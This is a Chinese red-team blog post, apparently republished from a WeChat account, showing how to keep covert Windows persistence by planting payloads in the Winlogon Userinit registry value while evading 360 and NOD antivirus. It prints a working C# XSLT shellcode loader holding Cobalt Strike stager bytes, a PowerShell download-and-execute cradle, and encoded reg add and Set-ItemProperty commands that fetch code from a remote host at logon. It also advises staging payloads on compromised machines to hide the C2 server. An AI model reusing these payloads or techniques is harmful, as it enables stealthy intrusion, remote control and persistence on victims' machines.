[ 限时优惠 ] 免杀 win 单机权限维持 [ winlogon ]

admin 2021年8月3日21:55:21评论62 views字数 10228阅读34分5秒阅读模式


[ 限时优惠 ] 免杀 win 单机权限维持 [ winlogon ]


简单理解 Winlogon:

它主要是用来处理整个交互式用户登录注销过程的,当它捕捉到用户名和口令后会先把它丢给lsass.exe,之后lsass再去调用相应的dll进行认证,认证成功后便会生成一个访问令牌,winlogon再利用此令牌去创建用户会话中的各种初始化进程,而这些要初始化的进程就被放在HKLMSOFTWAREMicrosoftWindowsNTCurrentVersionWinlogon 项下的各个值里,比如,Uerinit,Notify [通过监控指定事件执行特定 dll,比较老了,新系统上貌似已经没了],Shell等等等...我们要利用的恰巧也就是这里,实际渗透中,当拿到目标win机器的最高权限,做完该做的事情之后[ 特别注意,通常情况下,"维持" 一般都会在拿到目标机器的最高权限 [比如,windows的administrator或者system权限,*inux的root权限] 之后再进行,实战中如果以一个低权限去维持意义不太大,无非是在自找麻烦,至于提权利用的那种另说],就可以试着把payload插到这些项值下面,当然啦,各种AV也肯定会死死监控住winlogon下的这些敏感值,此处我们暂时不必理解的过深,只需了解到windows的大致启动初始化执行过程即可,先侧重在实际利用上


模拟环境:

AV-Server     

192.168.3.23

win2008r2 最新版360套装 [卫士 + 杀毒 引擎已全部开启,病毒库也已全部更新到最新]


首先, Uerinit值

    第一种,尝试免杀自启动,执行powershell,首先,准备好payload, 如下,即 shellcode.xslt文件内容, 用的 64位 c# shellcode 最好和目标系统位数保持一致,shellcode是直接拿cs生成的


<xsl:stylesheet version="2.0"

                xmlns:xsl="http://www.w3.org/1999/XSL/Transform"

                xmlns:msxsl="urn:schemas-microsoft-com:xslt"

                xmlns:Stacks="urn:MyModule">

<msxsl:script implements-prefix="Stacks" language="C#">

<msxsl:using namespace="System.Runtime.InteropServices" />  

  <![CDATA[

     private static UInt32 MEM_COMMIT = 0x1000;          

     private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          

     [DllImport("kernel32")]

     private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          

     [DllImport("kernel32")]

     private static extern IntPtr CreateThread(            

        UInt32 lpThreadAttributes,

        UInt32 dwStackSize,

        UInt32 lpStartAddress,

        IntPtr param,

        UInt32 dwCreationFlags,

        ref UInt32 lpThreadId           

     );

     [DllImport("kernel32")]

     private static extern UInt32 WaitForSingleObject(           

        IntPtr hHandle,

        UInt32 dwMilliseconds

     );     


     public void Exec()

     {      

        byte[] Stackscode = new byte[612] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x66, 0x81, 0x78, 0x18, 0x0b, 0x02, 0x75, 0x72, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x4f, 0xff, 0xff, 0xff, 0x5d, 0x6a, 0x00, 0x49, 0xbe, 0x77, 0x69, 0x6e, 0x69, 0x6e, 0x65, 0x74, 0x00, 0x41, 0x56, 0x49, 0x89, 0xe6, 0x4c, 0x89, 0xf1, 0x41, 0xba, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0xe8, 0x80, 0x00, 0x00, 0x00, 0x4d, 0x6f, 0x7a, 0x69, 0x6c, 0x6c, 0x61, 0x2f, 0x35, 0x2e, 0x30, 0x20, 0x28, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x74, 0x69, 0x62, 0x6c, 0x65, 0x3b, 0x20, 0x4d, 0x53, 0x49, 0x45, 0x20, 0x31, 0x30, 0x2e, 0x30, 0x3b, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x4e, 0x54, 0x20, 0x36, 0x2e, 0x31, 0x3b, 0x20, 0x57, 0x4f, 0x57, 0x36, 0x34, 0x3b, 0x20, 0x54, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x2f, 0x36, 0x2e, 0x30, 0x3b, 0x20, 0x4d, 0x41, 0x53, 0x50, 0x29, 0x00, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x00, 0x59, 0x48, 0x31, 0xd2, 0x4d, 0x31, 0xc0, 0x4d, 0x31, 0xc9, 0x41, 0x50, 0x41, 0x50, 0x41, 0xba, 0x3a, 0x56, 0x79, 0xa7, 0xff, 0xd5, 0xeb, 0x61, 0x5a, 0x48, 0x89, 0xc1, 0x41, 0xb8, 0x90, 0x1f, 0x00, 0x00, 0x4d, 0x31, 0xc9, 0x41, 0x51, 0x41, 0x51, 0x6a, 0x03, 0x41, 0x51, 0x41, 0xba, 0x57, 0x89, 0x9f, 0xc6, 0xff, 0xd5, 0xeb, 0x44, 0x48, 0x89, 0xc1, 0x48, 0x31, 0xd2, 0x41, 0x58, 0x4d, 0x31, 0xc9, 0x52, 0x68, 0x00, 0x02, 0x60, 0x84, 0x52, 0x52, 0x41, 0xba, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x48, 0x89, 0xc6, 0x6a, 0x0a, 0x5f, 0x48, 0x89, 0xf1, 0x48, 0x31, 0xd2, 0x4d, 0x31, 0xc0, 0x4d, 0x31, 0xc9, 0x52, 0x52, 0x41, 0xba, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x75, 0x1d, 0x48, 0xff, 0xcf, 0x74, 0x10, 0xeb, 0xdf, 0xeb, 0x63, 0xe8, 0xb7, 0xff, 0xff, 0xff, 0x2f, 0x4e, 0x6c, 0x31, 0x72, 0x00, 0x00, 0x41, 0xbe, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0xba, 0x00, 0x00, 0x40, 0x00, 0x41, 0xb8, 0x00, 0x10, 0x00, 0x00, 0x41, 0xb9, 0x40, 0x00, 0x00, 0x00, 0x41, 0xba, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x48, 0x93, 0x53, 0x53, 0x48, 0x89, 0xe7, 0x48, 0x89, 0xf1, 0x48, 0x89, 0xda, 0x41, 0xb8, 0x00, 0x20, 0x00, 0x00, 0x49, 0x89, 0xf9, 0x41, 0xba, 0x12, 0x96, 0x89, 0xe2, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x20, 0x85, 0xc0, 0x74, 0xb6, 0x66, 0x8b, 0x07, 0x48, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xd7, 0x58, 0x58, 0xc3, 0xe8, 0x35, 0xff, 0xff, 0xff, 0x31, 0x39, 0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x33, 0x2e, 0x36, 0x38, 0x00 };                

        UInt32 funcAddr = VirtualAlloc(0, (UInt32)Stackscode.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);

        Marshal.Copy(Stackscode, 0, (IntPtr)(funcAddr), Stackscode.Length);

        IntPtr hThread = IntPtr.Zero;

        UInt32 threadId = 0;

        IntPtr pinfo = IntPtr.Zero;

        hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);

        WaitForSingleObject(hThread, 0xFFFFFFFF);            

    }

    ]]>

</msxsl:script>

<xsl:template match="data">

    <result>

      <xsl:value-of select="Stacks:Exec()" />

</result>

</xsl:template>

</xsl:stylesheet>

exec.gif文件 内容,用来执行上面的shellcode如下:

Function xslt_exec

{

<#

.EXAMPLE

C:PS> xslt_exec -xslt_url https://raw.githubusercontent.com/calc.xslt

#>

    [CmdletBinding()]

    param

    (

        [Parameter(ParameterSetName = 'xslt_url')]

        [string]$xslt_url

    )

    $xslt_settings = new-object System.XML.XSl.XsltSettings

    $xslt_settings.EnableScript = $true

    $xslt = new-object System.XML.Xsl.XslCompiledTransform

    $XmlResolver = new-object System.XML.XmlUrlResolver

    $xslt.Load($xslt_url,$xslt_settings, $XmlResolver)

    $doc =  new-object -Type System.Xml.XPath.XPathDocument("https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/xslt/example.xml")

    $settings = new-object System.XML.XMLWriterSettings

    $settings.OmitXmlDeclaration = $true

    $settings.Indent = $true

    $writer = [System.XML.XmlWriter]::Create("$env:Tempoutput.xml", $settings)

    $xslt.Transform($doc,$writer)

    $writer.Close()

    if(Test-Path $($env:Temp+'output.xml')){

                Remove-Item -Recurse -Force  $($env:Temp+'output.xml')

            }

}


    之后,再把这俩文件挂到cs上[ 实战中最好不要直接把它放在自己的cs上,容易暴露C2,可以随便找台肉鸡丢上去,稍微保险一点 ],生成相应的远程访问链接,用xslt的主要原因是考虑到免杀效果

[ 限时优惠 ] 免杀 win 单机权限维持 [ winlogon ]

[ 限时优惠 ] 免杀 win 单机权限维持 [ winlogon ]


  为尽可能避免一些杀软干扰,最好还是习惯性的事先在本地把要执行的ps payload简单编码处理下,如下


# powershell -exec bypass

PS > $text = "IEX (New-Object Net.WebClient).DownloadString('http://192.168.3.68:80/exec.gif'); xslt_exec -xslt_url http://192.168.3.68:80/shellcode.xslt"

PS > $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)

PS > $EncodedText =[Convert]::ToBase64String($Bytes)

PS > $EncodedText > bs64.txt

PS > type .bs64.txt

[ 限时优惠 ] 免杀 win 单机权限维持 [ winlogon ]


一切准备就绪后,就可以开始往目标机器的HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionWinlogon 项的Userinit 值中,插入上面编码后的ps payload了,当然啦,这肯定需要你至少有管理员权限才行,另外,实战中还会有个问题,就是某些防护会阻止你修改注册表,即使你当前是管理权限,不过你仍然可以通过其它的方式,先把它的防护暂时给关掉,等插成功后,再恢复回来就行,除此之外,某些杀软也会拦截类似的powershellpayload的远程加载,但并非所有的杀软都会拦,所以,这种触发执行方式确实也有一定的局限性,但Userinit里可以执行的东西,远不止ps,事先自行免杀好的exe也是可以的,改注册表的过程就比较简单了,如下一句话搞定


    reg一句话修改,因为涉及到敏感系统配置,360肯定会拦,但其它杀软就不一定了,而且当你拿到目标机器的管理权限后,这些干扰对你来讲应该都是有办法自行克服的


# reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon" /v Userinit /t REG_SZ /d "C:Windowssystem32userinit.exe,powershell -exec bypass -w hidden -encodedcommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADMALgA2ADgAOgA4ADAALwBlAHgAZQBjAC4AZwBpAGYAJwApADsAIAB4AHMAbAB0AF8AZQB4AGUAYwAgAC0AeABzAGwAdABfAHUAcgBsACAAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMwAuADYAOAA6ADgAMAAvAHMAaABlAGwAbABjAG8AZABlAC4AeABzAGwAdAA=" /f

[ 限时优惠 ] 免杀 win 单机权限维持 [ winlogon ]


    ps版 [纯属脱裤子放屁],实战中也不建议这样干,杀软拦截powershell要比拦截reg的几率高的多的多


# powershell -exec bypass -c "Set-ItemProperty "HKLM:SOFTWAREMicrosoftWINDOWS NTCurrentVersionWinlogon" -name Userinit -value "C:Windowssystem32userinit.exe,powershell -exec bypass -w hidden -encodedcommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADMALgA2ADgAOgA4ADAALwBlAHgAZQBjAC4AZwBpAGYAJwApADsAIAB4AHMAbAB0AF8AZQB4AGUAYwAgAC0AeABzAGwAdABfAHUAcgBsACAAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMwAuADYAOAA6ADgAMAAvAHMAaABlAGwAbABjAG8AZABlAC4AeABzAGwAdAA=""

[ 限时优惠 ] 免杀 win 单机权限维持 [ winlogon ]

[ 限时优惠 ] 免杀 win 单机权限维持 [ winlogon ]


    接着,再来简单看下修改过之后的Winlogon项下的Userinit值都做了些什么,其实已经很明显了,就是把我们上面的ps payload给直接加到了Userinit.exe 后面,这样以来,当用户一登录系统便会顺带触发执行我们的ps payload

[ 限时优惠 ] 免杀 win 单机权限维持 [ winlogon ]


最后,当目标系统重启,用户正常登录后,稍等片刻,便会看到beacon被正常弹回,正常情况下直接在桌面环境[explorer.exe]下去执行ps payload 360肯定会拦,但重启登录后的那一瞬间360并无任何反应,原因其实也很容易想明白,无非就是我们的ps payload很可能是在360启动之前就触发执行了,所以才没被检测到,另外,还需要特别注意的是,不同的系统用户登录所触发反弹回来的beacon权限也是不同的,这都是很正常的,在最开始的系统启动执行过程中就已说明过,什么样的用户权限,给你的访问令牌自然也是不同的,如下的dba用户就只是个普通用户权限,所以回来的shell权限也只是个很普通的系统用户权限,至于能实际操作的范围就很有限了,还有,HKLM是作用于"全局"的,而HKCU只作用于当前用户

[ 限时优惠 ] 免杀 win 单机权限维持 [ winlogon ]


上面之所以用powershell,无非就因为它无文件[ 其实个人觉得,对于现在来讲,这并没什么太大的卵用,解码以后,还是一样能看到真实链接,很快溯源回去,中间的匿名处理过程此处就不多说了 ],当然啦,你也可以直接像下面这样,用exe代替,容易被人抓样本是真的,不过用cs生成的马,没什么太大所谓,特马也压根不会这么干,具体如下,至于如何生成免杀exe,方法非常多,此处我们只介绍一种最简单粗暴的方式,先用cs生成64位ps payload之后再用BatToExe打包成exe [ 切记不要用upx压缩,一般都会被杀软秒掉], 当然,这个exe肯定不能直接丢在桌面环境下去执行,否则360会还是拦截powershell执行[注: 此处的exe只是个载体,真实的payload还是里面的powershell],但如果我们把它放到Userinit就不用太担心存在这样的问题,具体如下

[ 限时优惠 ] 免杀 win 单机权限维持 [ winlogon ]

[ 限时优惠 ] 免杀 win 单机权限维持 [ winlogon ]


 接着,继续将刚刚打包好的exe加到 HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionWinlogon 项的Userinit值中即可

[ 限时优惠 ] 免杀 win 单机权限维持 [ winlogon ]


    重启系统正常登录,我们的exe便会被正常触发执行,beacon正常弹回,实际效果如下,此时360全程都未有任何拦截提示

[ 限时优惠 ] 免杀 win 单机权限维持 [ winlogon ]

[ 限时优惠 ] 免杀 win 单机权限维持 [ winlogon ]


其次,该自启动方式在其它AV下的具体表现

实测最新版nod ,在修改注册表时,看到它并没有拦截,如下,但这也并不能说明啥

[ 限时优惠 ] 免杀 win 单机权限维持 [ winlogon ]


    紧接着,我们重启系统,正常登录,看看beacon还能不能正常回来,特别注意,此处有个小问题,因为是远程执行ps,一登录进去马上就会弹个ps执行框出来,这个倒很容易解决,换成mstha去执行sct,然后把ps payload放到sct文件里就不用会有黑框了,nod貌似并没有拦mshta

[ 限时优惠 ] 免杀 win 单机权限维持 [ winlogon ]


稍等片刻,发现beacon貌似也弹回来了,但这个beacon很显然并不是我们想要的,首先,它并没有直接bypass掉UAC [当尝试用内置的bypassUAC模块时直接就内存报毒了] ,而且我们还发现,除了beacon的内置工具,原生cmd压根就是起不来的,这些问题我们以后再慢慢说,今天的目的也主要是为了简单科普下win单机维持的基本概念,除了winlogon下的Uerinit值,其实注册表中还有很多可以利用的地方,绝不仅限于此,所以,不必过多浪费时间,因为还有更好的,话说回来,nod确实是比较蛋疼,几分钟,几小时就废了都再正常不过

[ 限时优惠 ] 免杀 win 单机权限维持 [ winlogon ]

[ 限时优惠 ] 免杀 win 单机权限维持 [ winlogon ]


小结:

   此维持方式并不好,旨在简单科普win单机维持,如果能深度利用的话,还是可以继续将就用的,不过也仅限于临时维持用做渗透,长期维持就算了,不太适合,也不必这么干,更多维持技巧,待续...


欢迎自家弟兄们的积极转发及交流反馈,万分感谢


希望我们都是因为怀揣着对技术的不懈追求才成为同路人 


少说废话,多做对事,试着把目光放的更长远


坚信,生活会善待每一个认真生活的人


      

密圈限时优惠,公众号确实更新的非常慢,因为平时的活动也大多集中在密圈 

可以试着把更多的焦点放在自己能得到什么,而不单单是钱,但愿能明白 !


另有所图的弟兄,就不要来了,也为方便彼此,感谢理解 !    


还有那些给我发钓鱼信的弟兄,以后还是不要发了,确实没啥用,承蒙错爱! 


    更多更优质的精品原创实用技术干货分享,以及和众多资深apt,红队玩家一起深度无缝交流,欢迎微信扫码加入小密圈,另外,关于本文完整pdf原件现也已分享到自己密圈中,我们会在那里一直等你


[ 限时优惠 ] 免杀 win 单机权限维持 [ winlogon ]


本文始发于微信公众号(红队防线):[ 限时优惠 ] 免杀 win 单机权限维持 [ winlogon ]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月3日21:55:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [ 限时优惠 ] 免杀 win 单机权限维持 [ winlogon ]https://cn-sec.com/archives/346335.html

发表评论

匿名网友 填写信息